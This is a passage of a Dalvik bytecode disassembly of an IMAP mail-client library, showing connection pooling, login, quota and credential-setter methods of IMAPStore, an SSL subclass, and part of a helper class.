0000015A  monitor-exit            v2
:15C
0000015C  iget-boolean            v2, p0, IMAPStore->enableImapEvents:Z
00000160  if-eqz                  v2, :6C
:164
00000164  invoke-virtual          Response->isUnTagged()Z, v0
0000016A  move-result             v2
0000016C  if-eqz                  v2, :6C
:170
00000170  const/16                v2, 0x3E8
00000174  invoke-virtual          Response->toString()String, v0
0000017A  move-result-object      v0
0000017C  invoke-virtual          IMAPStore->notifyStoreListeners(I, String)V, p0, v2, v0
:182
00000182  goto/16                 :6C
:186
00000186  move-exception          v0
:188
00000188  new-instance            v2, StoreClosedException
0000018C  invoke-virtual          ConnectionException->getMessage()String, v0
00000192  move-result-object      v0
00000194  invoke-direct           StoreClosedException-><init>(Store, String)V, v2, p0, v0
0000019A  throw                   v2
:19C
0000019C  move-exception          v0
:19E
0000019E  monitor-exit            v2
:1A0
000001A0  throw                   v0
:1A2
000001A2  move-exception          v0
:1A4
000001A4  new-instance            v2, MessagingException
000001A8  invoke-virtual          ProtocolException->getMessage()String, v0
000001AE  move-result-object      v3
000001B0  invoke-direct           MessagingException-><init>(String, Exception)V, v2, v3, v0
000001B6  throw                   v2
:1B8
000001B8  move-exception          v0
:1BA
000001BA  monitor-exit            v2
:1BC
000001BC  throw                   v0
:1BE
000001BE  move-exception          v0
:1C0
000001C0  monitor-exit            v2
:1C2
000001C2  throw                   v0
:1C4
000001C4  move-exception          v0
000001C6  goto/16                 :B6
:1CA
000001CA  move-exception          v0
000001CC  goto                    :EC
          .catchall {:28 .. :30} :DC
          .catch BadCommandException {:30 .. :36} :120
          .catch ConnectionException {:30 .. :36} :186
          .catch ProtocolException {:30 .. :36} :1A2
          .catchall {:30 .. :36} :132
          .catchall {:36 .. :6C} :11A
          .catch BadCommandException {:6C .. :7A} :120
          .catch ConnectionException {:6C .. :7A} :186
          .catch ProtocolException {:6C .. :7A} :1A2
          .catchall {:6C .. :7A} :132
          .catchall {:7E .. :A2} :19C
          .catch BadCommandException {:A2 .. :A8} :120
          .catch ConnectionException {:A2 .. :A8} :186
          .catch ProtocolException {:A2 .. :A8} :1A2
          .catchall {:A2 .. :A8} :132
          .catch InterruptedException {:B0 .. :B6} :1C4
          .catch BadCommandException {:B0 .. :B6} :120
          .catch ConnectionException {:B0 .. :B6} :186
          .catch ProtocolException {:B0 .. :B6} :1A2
          .catchall {:B0 .. :B6} :132
          .catchall {:BC .. :CA} :1BE
          .catchall {:DE .. :E0} :DC
          .catch InterruptedException {:E2 .. :EC} :1CA
          .catchall {:E2 .. :EC} :11A
          .catchall {:EC .. :EE} :11A
          .catchall {:F4 .. :102} :114
          .catchall {:116 .. :118} :114
          .catchall {:11C .. :11E} :11A
          .catch BadCommandException {:11E .. :120} :120
          .catch ConnectionException {:11E .. :120} :186
          .catch ProtocolException {:11E .. :120} :1A2
          .catchall {:11E .. :120} :132
          .catchall {:122 .. :132} :132
          .catchall {:13A .. :148} :1B8
          .catchall {:15A .. :15C} :19C
          .catch BadCommandException {:15C .. :182} :120
          .catch ConnectionException {:15C .. :182} :186
          .catch ProtocolException {:15C .. :182} :1A2
          .catchall {:15C .. :182} :132
          .catchall {:188 .. :19C} :132
          .catchall {:19E .. :1A0} :19C
          .catch BadCommandException {:1A0 .. :1A2} :120
          .catch ConnectionException {:1A0 .. :1A2} :186
          .catch ProtocolException {:1A0 .. :1A2} :1A2
          .catchall {:1A0 .. :1A2} :132
          .catchall {:1A4 .. :1B8} :132
          .catchall {:1BA .. :1BC} :1B8
          .catchall {:1C0 .. :1C2} :1BE
.end method

.method public declared-synchronized isConnected()Z
          .registers 4
00000000  const/4                 v0, 0x0
00000002  monitor-enter           p0
:4
00000004  iget-boolean            v1, p0, IMAPStore->connected:Z
00000008  if-nez                  v1, :18
:C
0000000C  const/4                 v1, 0x0
0000000E  invoke-super            Store->setConnected(Z)V, p0, v1
:14
00000014  monitor-exit            p0
00000016  return                  v0
:18
00000018  const/4                 v0, 0x0
:1A
0000001A  invoke-virtual          IMAPStore->getStoreProtocol()IMAPProtocol, p0
:20
00000020  move-result-object      v0
:22
00000022  invoke-virtual          IMAPProtocol->noop()V, v0
:28
00000028  invoke-virtual          IMAPStore->releaseStoreProtocol(IMAPProtocol)V, p0, v0
:2E
0000002E  invoke-super            Store->isConnected()Z, p0
:34
00000034  move-result             v0
00000036  goto                    :14
:38
00000038  move-exception          v1
0000003A  if-nez                  v0, :44
:3E
0000003E  invoke-direct           IMAPStore->cleanup()V, p0
:44
00000044  invoke-virtual          IMAPStore->releaseStoreProtocol(IMAPProtocol)V, p0, v0
:4A
0000004A  goto                    :2E
:4C
0000004C  move-exception          v0
0000004E  monitor-exit            p0
00000050  throw                   v0
:52
00000052  move-exception          v1
00000054  move-object             v2, v1
00000056  move-object             v1, v0
00000058  move-object             v0, v2
:5A
0000005A  invoke-virtual          IMAPStore->releaseStoreProtocol(IMAPProtocol)V, p0, v1
00000060  throw                   v0
:62
00000062  move-exception          v1
00000064  move-object             v2, v1
00000066  move-object             v1, v0
00000068  move-object             v0, v2
0000006A  goto                    :5A
          .catchall {:4 .. :14} :4C
          .catch ProtocolException {:1A .. :20} :38
          .catchall {:1A .. :20} :52
          .catch ProtocolException {:22 .. :28} :38
          .catchall {:22 .. :28} :62
          .catchall {:28 .. :34} :4C
          .catchall {:3E .. :44} :62
          .catchall {:44 .. :4A} :4C
          .catchall {:5A .. :62} :4C
.end method

.method isConnectionPoolFull()Z
          .registers 5
00000000  iget-object             v1, p0, IMAPStore->pool:IMAPStore$ConnectionPool
00000004  monitor-enter           v1
:6
00000006  iget-object             v0, p0, IMAPStore->pool:IMAPStore$ConnectionPool
0000000A  invoke-static           IMAPStore$ConnectionPool->access$3(IMAPStore$ConnectionPool)Z, v0
00000010  move-result             v0
00000012  if-eqz                  v0, :72
:16
00000016  iget-object             v0, p0, IMAPStore->out:PrintStream
0000001A  new-instance            v2, StringBuilder
0000001E  const-string            v3, "DEBUG: current size: "
00000022  invoke-direct           StringBuilder-><init>(String)V, v2, v3
00000028  iget-object             v3, p0, IMAPStore->pool:IMAPStore$ConnectionPool
0000002C  invoke-static           IMAPStore$ConnectionPool->access$10(IMAPStore$ConnectionPool)Vector, v3
00000032  move-result-object      v3
00000034  invoke-virtual          Vector->size()I, v3
0000003A  move-result             v3
0000003C  invoke-virtual          StringBuilder->append(I)StringBuilder, v2, v3
00000042  move-result-object      v2
00000044  const-string            v3, "   pool size: "
00000048  invoke-virtual          StringBuilder->append(String)StringBuilder, v2, v3
0000004E  move-result-object      v2
00000050  iget-object             v3, p0, IMAPStore->pool:IMAPStore$ConnectionPool
00000054  invoke-static           IMAPStore$ConnectionPool->access$4(IMAPStore$ConnectionPool)I, v3
0000005A  move-result             v3
0000005C  invoke-virtual          StringBuilder->append(I)StringBuilder, v2, v3
00000062  move-result-object      v2
00000064  invoke-virtual          StringBuilder->toString()String, v2
0000006A  move-result-object      v2
0000006C  invoke-virtual          PrintStream->println(String)V, v0, v2
:72
00000072  iget-object             v0, p0, IMAPStore->pool:IMAPStore$ConnectionPool
00000076  invoke-static           IMAPStore$ConnectionPool->access$10(IMAPStore$ConnectionPool)Vector, v0
0000007C  move-result-object      v0
0000007E  invoke-virtual          Vector->size()I, v0
00000084  move-result             v0
00000086  iget-object             v2, p0, IMAPStore->pool:IMAPStore$ConnectionPool
0000008A  invoke-static           IMAPStore$ConnectionPool->access$4(IMAPStore$ConnectionPool)I, v2
00000090  move-result             v2
00000092  if-lt                   v0, v2, :9C
:96
00000096  const/4                 v0, 0x1
:98
00000098  monitor-exit            v1
0000009A  return                  v0
:9C
0000009C  const/4                 v0, 0x0
0000009E  goto                    :98
:A0
000000A0  move-exception          v0
000000A2  monitor-exit            v1
:A4
000000A4  throw                   v0
          .catchall {:6 .. :A4} :A0
.end method

.method protected declared-synchronized protocolConnect(String, I, String, String)Z
          .registers 16
00000000  const/4                 v8, 0x1
00000002  const/4                 v3, 0xFFFFFFFFFFFFFFFF
00000004  monitor-enter           p0
00000006  const/4                 v9, 0x0
00000008  if-eqz                  p1, :14
:C
0000000C  if-eqz                  p4, :14
:10
00000010  if-nez                  p3, :80
:14
00000014  iget-boolean            v0, p0, IMAPStore->debug:Z
00000018  if-eqz                  v0, :74
:1C
0000001C  iget-object             v1, p0, IMAPStore->out:PrintStream
00000020  new-instance            v0, StringBuilder
00000024  const-string            v2, "DEBUG: protocolConnect returning false, host="
00000028  invoke-direct           StringBuilder-><init>(String)V, v0, v2
0000002E  invoke-virtual          StringBuilder->append(String)StringBuilder, v0, p1
00000034  move-result-object      v0
00000036  const-string            v2, ", user="
0000003A  invoke-virtual          StringBuilder->append(String)StringBuilder, v0, v2
00000040  move-result-object      v0
00000042  invoke-virtual          StringBuilder->append(String)StringBuilder, v0, p3
00000048  move-result-object      v0
0000004A  const-string            v2, ", password="
0000004E  invoke-virtual          StringBuilder->append(String)StringBuilder, v0, v2
00000054  move-result-object      v2
00000056  if-eqz                  p4, :7A
:5A
0000005A  const-string            v0, "<non-null>"
:5E
0000005E  invoke-virtual          StringBuilder->append(String)StringBuilder, v2, v0
00000064  move-result-object      v0
00000066  invoke-virtual          StringBuilder->toString()String, v0
0000006C  move-result-object      v0
0000006E  invoke-virtual          PrintStream->println(String)V, v1, v0
:74
00000074  const/4                 v0, 0x0
:76
00000076  monitor-exit            p0
00000078  return                  v0
:7A
0000007A  const-string            v0, "<null>"
0000007E  goto                    :5E
:80
00000080  if-eq                   p2, v3, :182
:84
00000084  iput                    p2, p0, IMAPStore->port:I
:88
00000088  iget                    v0, p0, IMAPStore->port:I
0000008C  if-ne                   v0, v3, :98
:90
00000090  iget                    v0, p0, IMAPStore->defaultPort:I
00000094  iput                    v0, p0, IMAPStore->port:I
:98
00000098  iget-object             v1, p0, IMAPStore->pool:IMAPStore$ConnectionPool
0000009C  monitor-enter           v1
:9E
0000009E  iget-object             v0, p0, IMAPStore->pool:IMAPStore$ConnectionPool
000000A2  invoke-static           IMAPStore$ConnectionPool->access$10(IMAPStore$ConnectionPool)Vector, v0
000000A8  move-result-object      v0
000000AA  invoke-virtual          Vector->isEmpty()Z, v0
000000B0  move-result             v0
000000B2  monitor-exit            v1
:B4
000000B4  if-eqz                  v0, :176
:B8
000000B8  new-instance            v0, IMAPProtocol
000000BC  iget-object             v1, p0, IMAPStore->name:String
000000C0  iget                    v3, p0, IMAPStore->port:I
000000C4  iget-object             v2, p0, IMAPStore->session:Session
000000C8  invoke-virtual          Session->getDebug()Z, v2
000000CE  move-result             v4
000000D0  iget-object             v2, p0, IMAPStore->session:Session
000000D4  invoke-virtual          Session->getDebugOut()PrintStream, v2
000000DA  move-result-object      v5
000000DC  iget-object             v2, p0, IMAPStore->session:Session
000000E0  invoke-virtual          Session->getProperties()Properties, v2
000000E6  move-result-object      v6
000000E8  iget-boolean            v7, p0, IMAPStore->isSSL:Z
000000EC  move-object             v2, p1
000000EE  invoke-direct/range     IMAPProtocol-><init>(String, String, I, Z, PrintStream, Properties, Z)V, v0 .. v7
:F4
000000F4  iget-boolean            v1, p0, IMAPStore->debug:Z
000000F8  if-eqz                  v1, :144
:FC
000000FC  iget-object             v1, p0, IMAPStore->out:PrintStream
00000100  new-instance            v2, StringBuilder
00000104  const-string            v3, "DEBUG: protocolConnect login, host="
00000108  invoke-direct           StringBuilder-><init>(String)V, v2, v3
0000010E  invoke-virtual          StringBuilder->append(String)StringBuilder, v2, p1
00000114  move-result-object      v2
00000116  const-string            v3, ", user="
0000011A  invoke-virtual          StringBuilder->append(String)StringBuilder, v2, v3
00000120  move-result-object      v2
00000122  invoke-virtual          StringBuilder->append(String)StringBuilder, v2, p3
00000128  move-result-object      v2
0000012A  const-string            v3, ", password=<non-null>"
0000012E  invoke-virtual          StringBuilder->append(String)StringBuilder, v2, v3
00000134  move-result-object      v2
00000136  invoke-virtual          StringBuilder->toString()String, v2
0000013C  move-result-object      v2
0000013E  invoke-virtual          PrintStream->println(String)V, v1, v2
:144
00000144  invoke-direct           IMAPStore->login(IMAPProtocol, String, String)V, p0, v0, p3, p4
0000014A  invoke-virtual          IMAPProtocol->addResponseHandler(ResponseHandler)V, v0, p0
00000150  iput-object             p1, p0, IMAPStore->host:String
00000154  iput-object             p3, p0, IMAPStore->user:String
00000158  iput-object             p4, p0, IMAPStore->password:String
0000015C  iget-object             v2, p0, IMAPStore->pool:IMAPStore$ConnectionPool
00000160  monitor-enter           v2
:162
00000162  iget-object             v1, p0, IMAPStore->pool:IMAPStore$ConnectionPool
00000166  invoke-static           IMAPStore$ConnectionPool->access$10(IMAPStore$ConnectionPool)Vector, v1
0000016C  move-result-object      v1
0000016E  invoke-virtual          Vector->addElement(Object)V, v1, v0
00000174  monitor-exit            v2
:176
00000176  const/4                 v0, 0x1
:178
00000178  iput-boolean            v0, p0, IMAPStore->connected:Z
0000017C  move                    v0, v8
0000017E  goto/16                 :76
:182
00000182  iget-object             v0, p0, IMAPStore->session:Session
00000186  new-instance            v1, StringBuilder
0000018A  const-string            v2, "mail."
0000018E  invoke-direct           StringBuilder-><init>(String)V, v1, v2
00000194  iget-object             v2, p0, IMAPStore->name:String
00000198  invoke-virtual          StringBuilder->append(String)StringBuilder, v1, v2
0000019E  move-result-object      v1
000001A0  const-string            v2, ".port"
000001A4  invoke-virtual          StringBuilder->append(String)StringBuilder, v1, v2
000001AA  move-result-object      v1
000001AC  invoke-virtual          StringBuilder->toString()String, v1
000001B2  move-result-object      v1
000001B4  invoke-virtual          Session->getProperty(String)String, v0, v1
000001BA  move-result-object      v0
000001BC  if-eqz                  v0, :88
:1C0
000001C0  invoke-static           Integer->parseInt(String)I, v0
000001C6  move-result             v0
000001C8  iput                    v0, p0, IMAPStore->port:I
:1CC
000001CC  goto/16                 :88
:1D0
000001D0  move-exception          v0
000001D2  monitor-exit            p0
000001D4  throw                   v0
:1D6
000001D6  move-exception          v0
:1D8
000001D8  monitor-exit            v1
:1DA
000001DA  throw                   v0
:1DC
000001DC  move-exception          v0
000001DE  move-object             v1, v9
:1E0
000001E0  if-eqz                  v1, :1EA
:1E4
000001E4  invoke-virtual          IMAPProtocol->disconnect()V, v1
:1EA
000001EA  new-instance            v1, AuthenticationFailedException
000001EE  invoke-virtual          CommandFailedException->getResponse()Response, v0
000001F4  move-result-object      v0
000001F6  invoke-virtual          Response->getRest()String, v0
000001FC  move-result-object      v0
000001FE  invoke-direct           AuthenticationFailedException-><init>(String)V, v1, v0
00000204  throw                   v1
:206
00000206  move-exception          v1
:208
00000208  monitor-exit            v2
:20A
0000020A  throw                   v1
:20C
0000020C  move-exception          v1
0000020E  move-object             v10, v1
00000210  move-object             v1, v0
00000212  move-object             v0, v10
00000214  goto                    :1E0
:216
00000216  move-exception          v0
:218
00000218  new-instance            v1, MessagingException
0000021C  invoke-virtual          ProtocolException->getMessage()String, v0
00000222  move-result-object      v2
00000224  invoke-direct           MessagingException-><init>(String, Exception)V, v1, v2, v0
0000022A  throw                   v1
:22C
0000022C  move-exception          v0
0000022E  new-instance            v1, MessagingException
00000232  invoke-virtual          IOException->getMessage()String, v0
00000238  move-result-object      v2
0000023A  invoke-direct           MessagingException-><init>(String, Exception)V, v1, v2, v0
00000240  throw                   v1
          .catchall {:14 .. :74} :1D0
          .catchall {:7A .. :98} :1D0
          .catch CommandFailedException {:98 .. :9E} :1DC
          .catch ProtocolException {:98 .. :9E} :216
          .catch IOException {:98 .. :9E} :22C
          .catchall {:98 .. :9E} :1D0
          .catchall {:9E .. :B4} :1D6
          .catch CommandFailedException {:B8 .. :F4} :1DC
          .catch ProtocolException {:B8 .. :F4} :216
          .catch IOException {:B8 .. :F4} :22C
          .catchall {:B8 .. :F4} :1D0
          .catch CommandFailedException {:F4 .. :162} :20C
          .catch ProtocolException {:F4 .. :162} :216
          .catch IOException {:F4 .. :162} :22C
          .catchall {:F4 .. :162} :1D0
          .catchall {:162 .. :176} :206
          .catchall {:178 .. :1CC} :1D0
          .catchall {:1D8 .. :1DA} :1D6
          .catch CommandFailedException {:1DA .. :1DC} :1DC
          .catch ProtocolException {:1DA .. :1DC} :216
          .catch IOException {:1DA .. :1DC} :22C
          .catchall {:1DA .. :1DC} :1D0
          .catchall {:1E4 .. :206} :1D0
          .catchall {:208 .. :20A} :206
          .catch CommandFailedException {:20A .. :20C} :20C
          .catch ProtocolException {:20A .. :20C} :216
          .catch IOException {:20A .. :20C} :22C
          .catchall {:20A .. :20C} :1D0
          .catchall {:218 .. :242} :1D0
.end method

.method releaseProtocol(IMAPFolder, IMAPProtocol)V
          .registers 7
00000000  iget-object             v1, p0, IMAPStore->pool:IMAPStore$ConnectionPool
00000004  monitor-enter           v1
00000006  if-eqz                  p2, :72
:A
0000000A  invoke-virtual          IMAPStore->isConnectionPoolFull()Z, p0
00000010  move-result             v0
00000012  if-nez                  v0, :9E
:16
00000016  invoke-virtual          IMAPProtocol->addResponseHandler(ResponseHandler)V, p2, p0
0000001C  iget-object             v0, p0, IMAPStore->pool:IMAPStore$ConnectionPool
00000020  invoke-static           IMAPStore$ConnectionPool->access$10(IMAPStore$ConnectionPool)Vector, v0
00000026  move-result-object      v0
00000028  invoke-virtual          Vector->addElement(Object)V, v0, p2
0000002E  iget-boolean            v0, p0, IMAPStore->debug:Z
00000032  if-eqz                  v0, :72
:36
00000036  iget-object             v0, p0, IMAPStore->out:PrintStream
0000003A  new-instance            v2, StringBuilder
0000003E  const-string            v3, "DEBUG: added an Authenticated connection -- size: "
00000042  invoke-direct           StringBuilder-><init>(String)V, v2, v3
00000048  iget-object             v3, p0, IMAPStore->pool:IMAPStore$ConnectionPool
0000004C  invoke-static           IMAPStore$ConnectionPool->access$10(IMAPStore$ConnectionPool)Vector, v3
00000052  move-result-object      v3
00000054  invoke-virtual          Vector->size()I, v3
0000005A  move-result             v3
0000005C  invoke-virtual          StringBuilder->append(I)StringBuilder, v2, v3
00000062  move-result-object      v2
00000064  invoke-virtual          StringBuilder->toString()String, v2
0000006A  move-result-object      v2
0000006C  invoke-virtual          PrintStream->println(String)V, v0, v2
:72
00000072  iget-object             v0, p0, IMAPStore->pool:IMAPStore$ConnectionPool
00000076  invoke-static           IMAPStore$ConnectionPool->access$13(IMAPStore$ConnectionPool)Vector, v0
0000007C  move-result-object      v0
0000007E  if-eqz                  v0, :94
:82
00000082  iget-object             v0, p0, IMAPStore->pool:IMAPStore$ConnectionPool
00000086  invoke-static           IMAPStore$ConnectionPool->access$13(IMAPStore$ConnectionPool)Vector, v0
0000008C  move-result-object      v0
0000008E  invoke-virtual          Vector->removeElement(Object)Z, v0, p1
:94
00000094  invoke-direct           IMAPStore->timeoutConnections()V, p0
0000009A  monitor-exit            v1
0000009C  return-void
:9E
0000009E  iget-boolean            v0, p0, IMAPStore->debug:Z
000000A2  if-eqz                  v0, :B4
:A6
000000A6  iget-object             v0, p0, IMAPStore->out:PrintStream
000000AA  const-string            v2, "DEBUG: pool is full, not adding an Authenticated connection"
000000AE  invoke-virtual          PrintStream->println(String)V, v0, v2
:B4
000000B4  invoke-virtual          IMAPProtocol->logout()V, p2
:BA
000000BA  goto                    :72
:BC
000000BC  move-exception          v0
000000BE  goto                    :72
:C0
000000C0  move-exception          v0
:C2
000000C2  monitor-exit            v1
:C4
000000C4  throw                   v0
          .catchall {:A .. :B4} :C0
          .catch ProtocolException {:B4 .. :BA} :BC
          .catchall {:B4 .. :BA} :C0
          .catchall {:C2 .. :C4} :C0
.end method

.method releaseStoreProtocol(IMAPProtocol)V
          .registers 5
00000000  if-nez                  p1, :6
:4
00000004  return-void
:6
00000006  iget-object             v1, p0, IMAPStore->pool:IMAPStore$ConnectionPool
0000000A  monitor-enter           v1
:C
0000000C  iget-object             v0, p0, IMAPStore->pool:IMAPStore$ConnectionPool
00000010  const/4                 v2, 0x0
00000012  invoke-static           IMAPStore$ConnectionPool->access$15(IMAPStore$ConnectionPool, Z)V, v0, v2
00000018  iget-object             v0, p0, IMAPStore->pool:IMAPStore$ConnectionPool
0000001C  invoke-virtual          Object->notifyAll()V, v0
00000022  iget-object             v0, p0, IMAPStore->pool:IMAPStore$ConnectionPool
00000026  invoke-static           IMAPStore$ConnectionPool->access$3(IMAPStore$ConnectionPool)Z, v0
0000002C  move-result             v0
0000002E  if-eqz                  v0, :40
:32
00000032  iget-object             v0, p0, IMAPStore->out:PrintStream
00000036  const-string            v2, "DEBUG: releaseStoreProtocol()"
0000003A  invoke-virtual          PrintStream->println(String)V, v0, v2
:40
00000040  invoke-direct           IMAPStore->timeoutConnections()V, p0
00000046  monitor-exit            v1
00000048  goto                    :4
:4A
0000004A  move-exception          v0
0000004C  monitor-exit            v1
:4E
0000004E  throw                   v0
          .catchall {:C .. :4E} :4A
.end method

.method public declared-synchronized setPassword(String)V
          .registers 3
00000000  monitor-enter           p0
:2
00000002  iput-object             p1, p0, IMAPStore->password:String
:6
00000006  monitor-exit            p0
00000008  return-void
:A
0000000A  move-exception          v0
0000000C  monitor-exit            p0
0000000E  throw                   v0
          .catchall {:2 .. :6} :A
.end method

.method public declared-synchronized setQuota(Quota)V
          .registers 6
00000000  monitor-enter           p0
:2
00000002  invoke-direct           IMAPStore->checkConnected()V, p0
:8
00000008  const/4                 v1, 0x0
:A
0000000A  invoke-virtual          IMAPStore->getStoreProtocol()IMAPProtocol, p0
00000010  move-result-object      v1
00000012  invoke-virtual          IMAPProtocol->setQuota(Quota)V, v1, p1
:18
00000018  invoke-virtual          IMAPStore->releaseStoreProtocol(IMAPProtocol)V, p0, v1
0000001E  if-nez                  v1, :28
:22
00000022  invoke-direct           IMAPStore->cleanup()V, p0
:28
00000028  monitor-exit            p0
0000002A  return-void
:2C
0000002C  move-exception          v0
:2E
0000002E  new-instance            v2, MessagingException
00000032  const-string            v3, "QUOTA not supported"
00000036  invoke-direct           MessagingException-><init>(String, Exception)V, v2, v3, v0
0000003C  throw                   v2
:3E
0000003E  move-exception          v0
:40
00000040  invoke-virtual          IMAPStore->releaseStoreProtocol(IMAPProtocol)V, p0, v1
00000046  if-nez                  v1, :50
:4A
0000004A  invoke-direct           IMAPStore->cleanup()V, p0
:50
00000050  throw                   v0
:52
00000052  move-exception          v0
00000054  monitor-exit            p0
00000056  throw                   v0
:58
00000058  move-exception          v0
:5A
0000005A  new-instance            v2, StoreClosedException
0000005E  invoke-virtual          ConnectionException->getMessage()String, v0
00000064  move-result-object      v0
00000066  invoke-direct           StoreClosedException-><init>(Store, String)V, v2, p0, v0
0000006C  throw                   v2
:6E
0000006E  move-exception          v0
00000070  new-instance            v2, MessagingException
00000074  invoke-virtual          ProtocolException->getMessage()String, v0
0000007A  move-result-object      v3
0000007C  invoke-direct           MessagingException-><init>(String, Exception)V, v2, v3, v0
00000082  throw                   v2
          .catchall {:2 .. :8} :52
          .catch BadCommandException {:A .. :18} :2C
          .catch ConnectionException {:A .. :18} :58
          .catch ProtocolException {:A .. :18} :6E
          .catchall {:A .. :18} :3E
          .catchall {:18 .. :28} :52
          .catchall {:2E .. :3E} :3E
          .catchall {:40 .. :52} :52
          .catchall {:5A .. :84} :3E
.end method

.method public declared-synchronized setUsername(String)V
          .registers 3
00000000  monitor-enter           p0
:2
00000002  iput-object             p1, p0, IMAPStore->user:String
:6
00000006  monitor-exit            p0
00000008  return-void
:A
0000000A  move-exception          v0
0000000C  monitor-exit            p0
0000000E  throw                   v0
          .catchall {:2 .. :6} :A
.end method

#--------------------------------------------------------------------------------
.class public IMAPSSLStore
.super IMAPStore
.source ""

.method public constructor <init>(Session, URLName)V
          .registers 9
00000000  const-string            v3, "imaps"
00000004  const/16                v4, 0x3E1
00000008  const/4                 v5, 0x1
0000000A  move-object             v0, p0
0000000C  move-object             v1, p1
0000000E  move-object             v2, p2
00000010  invoke-direct/range     IMAPStore-><init>(Session, URLName, String, I, Z)V, v0 .. v5
00000016  return-void
.end method

#--------------------------------------------------------------------------------
.class IMAPStore$ConnectionPool
.super Object
.source ""

.field private static final ABORTING:I = 0x2
.field private static final IDLE:I = 0x1
.field private static final RUNNING:I
.field private authenticatedConnections:Vector
.field private clientTimeoutInterval:J
.field private debug:Z
.field private folders:Vector
.field private idleProtocol:IMAPProtocol
.field private idleState:I
.field private lastTimePruned:J
.field private poolSize:I
.field private pruningInterval:J
.field private separateStoreConnection:Z
.field private serverTimeoutInterval:J
.field private storeConnectionInUse:Z

.method constructor <init>()V
          .registers 4
00000000  const/4                 v2, 0x0
00000002  invoke-direct           Object-><init>()V, p0
00000008  new-instance            v0, Vector
0000000C  invoke-direct           Vector-><init>()V, v0
00000012  iput-object             v0, p0, IMAPStore$ConnectionPool->authenticatedConnections:Vector
00000016  iput-boolean            v2, p0, IMAPStore$ConnectionPool->separateStoreConnection:Z
0000001A  iput-boolean            v2, p0, IMAPStore$ConnectionPool->storeConnectionInUse:Z
0000001E  const-wide/32           v0, 0xAFC8
00000024  iput-wide               v0, p0, IMAPStore$ConnectionPool->clientTimeoutInterval:J
00000028  const-wide/32           v0, 0x1B7740
0000002E  iput-wide               v0, p0, IMAPStore$ConnectionPool->serverTimeoutInterval:J
00000032  const/4                 v0, 0x1
00000034  iput                    v0, p0, IMAPStore$ConnectionPool->poolSize:I
00000038  const-wide/32           v0, 0xEA60
0000003E  iput-wide               v0, p0, IMAPStore$ConnectionPool->pruningInterval:J
00000042  iput-boolean            v2, p0, IMAPStore$ConnectionPool->debug:Z
00000046  iput                    v2, p0, IMAPStore$ConnectionPool->idleState:I
0000004A  return-void
.end method

.method static synthetic access$0(IMAPStore$ConnectionPool, J)V
          .registers 3
00000000  iput-wide               p1, p0, IMAPStore$ConnectionPool->lastTimePruned:J
00000004  return-void
.end method

.method static synthetic access$1(IMAPStore$ConnectionPool, Z)V
          .registers 2
00000000  iput-boolean            p1, p0, IMAPStore$ConnectionPool->debug:Z
00000004  return-void
.end method

.method static synthetic access$10(IMAPStore$ConnectionPool)Vector
          .registers 2
00000000  iget-object             v0, p0, IMAPStore$ConnectionPool->authenticatedConnections:Vector
00000004  return-object           v0
.end method

.method static synthetic access$11(IMAPStore$ConnectionPool)Z
          .registers 2
00000000  iget-boolean            v0, p0, IMAPStore$ConnectionPool->separateStoreConnection:Z
00000004  return                  v0
.end method

.method static synthetic access$12(IMAPStore$ConnectionPool)Z
          .registers 2
00000000  iget-boolean            v0, p0, IMAPStore$ConnectionPool->storeConnectionInUse:Z
00000004  return                  v0
.end method

.method static synthetic access$13(IMAPStore$ConnectionPool)Vector
          .registers 2
00000000  iget-object             v0, p0, IMAPStore$ConnectionPool->folders:Vector
00000004  return-object           v0
.end method

.method static synthetic access$14(IMAPStore$ConnectionPool, Vector)V
          .registers 2
00000000  iput-object             p1, p0, IMAPStore$ConnectionPool->folders:Vector
00000004  return-void
.end method

.method static synthetic access$15(IMAPStore$ConnectionPool, Z)V
          .registers 2
00000000  iput-boolean            p1, p0, IMAPStore$ConnectionPool->storeConnectionInUse:Z
00000004  return-void
.end method

.method static synthetic access$16(IMAPStore$ConnectionPool)J
          .registers 3
00000000  iget-wide               v0, p0, IMAPStore$ConnectionPool->lastTimePruned:J
00000004  return-wide             v0
.end method

.method static synthetic access$17(IMAPStore$ConnectionPool)J
          .registers 3
00000000  iget-wide               v0, p0, IMAPStore$ConnectionPool->pruningInterval:J
00000004  return-wide             v0
.end method

.method static synthetic access$18(IMAPStore$ConnectionPool, IMAPProtocol)V
          .registers 2
00000000  iput-object             p1, p0, IMAPStore$ConnectionPool->idleProtocol:IMAPProtocol
00000004  return-void
.end method

.method static synthetic access$19(IMAPStore$ConnectionPool)I
          .registers 2
00000000  iget                    v0, p0, IMAPStore$ConnectionPool->idleState:I
00000004  return                  v0
.end method

.method static synthetic access$2(IMAPStore$ConnectionPool, I)V
          .registers 2
00000000  iput                    p1, p0, IMAPStore$ConnectionPool->poolSize:I
00000004  return-void
.end method

.method static synthetic access$20(IMAPStore$ConnectionPool, I)V
          .registers 2
00000000  iput                    p1, p0, IMAPStore$ConnectionPool->idleState:I
00000004  return-void
.end method

.method static synthetic access$21(IMAPStore$ConnectionPool)IMAPProtocol
          .registers 2
00000000  iget-object             v0, p0, IMAPStore$ConnectionPool->idleProtocol:IMAPProtocol
00000004  return-object           v0
.end method

.method static synthetic access$3(IMAPStore$ConnectionPool)Z
          .registers 2
00000000  iget-boolean            v0, p0, IMAPStore$ConnectionPool->debug:Z
00000004  return                  v0
.end method

.method static synthetic access$4(IMAPStore$ConnectionPool)I
          .registers 2
00000000  iget                    v0, p0, IMAPStore$ConnectionPool->poolSize:I
00000004  return                  v0
.end method

.method static synthetic access$5(IMAPStore$ConnectionPool, J)V
          .registers 3
00000000  iput-wide               p1, p0, IMAPStore$ConnectionPool->clientTimeoutInterval:J
00000004  return-void
.end method

.method static synthetic access$6(IMAPStore$ConnectionPool)J
          .registers 3
00000000  iget-wide               v0, p0, IMAPStore$ConnectionPool->clientTimeoutInterval:J
00000004  return-wide             v0
.end method

.method static synthetic access$7(IMAPStore$ConnectionPool, J)V
          .registers 3
00000000  iput-wide               p1, p0, IMAPStore$ConnectionPool->serverTimeoutInterval:J
00000004  return-void
.end method

.method static synthetic access$8(IMAPStore$ConnectionPool)J
          .registers 3
00000000  iget-wide               v0, p0, IMAPStore$ConnectionPool->serverTimeoutInterval:J
00000004  return-wide             v0
.end method

.method static synthetic access$9(IMAPStore$ConnectionPool, Z)V
          .registers 2
00000000  iput-boolean            p1, p0, IMAPStore$ConnectionPool->separateStoreConnection:Z
00000004  return-void
.end method

#--------------------------------------------------------------------------------
.class LengthCounter
.super OutputStream
.source ""

.field private buf:[B
.field private maxsize:I
.field private size:I

.method public constructor <init>(I)V
          .registers 3
00000000  invoke-direct           OutputStream-><init>()V, p0
00000006  const/4                 v0, 0x0
00000008  iput                    v0, p0, LengthCounter->size:I
